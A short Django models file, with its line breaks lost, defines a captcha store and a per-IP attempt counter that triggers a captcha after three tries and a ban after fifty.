from django.db import modelsclass CaptchaStore(models.Model):uuid = models.CharField(max_length=30)data = models.CharField(max_length=4)class IPStore(models.Model):ip = models.CharField(max_length=32)try_num = models.IntegerField(default=0)def add_visit_num(self):self.try_num += 1self.save(update_fields=["try_num"])def need_captcha(self):return self.try_num > 3def need_ban(self):return self.try_num > 50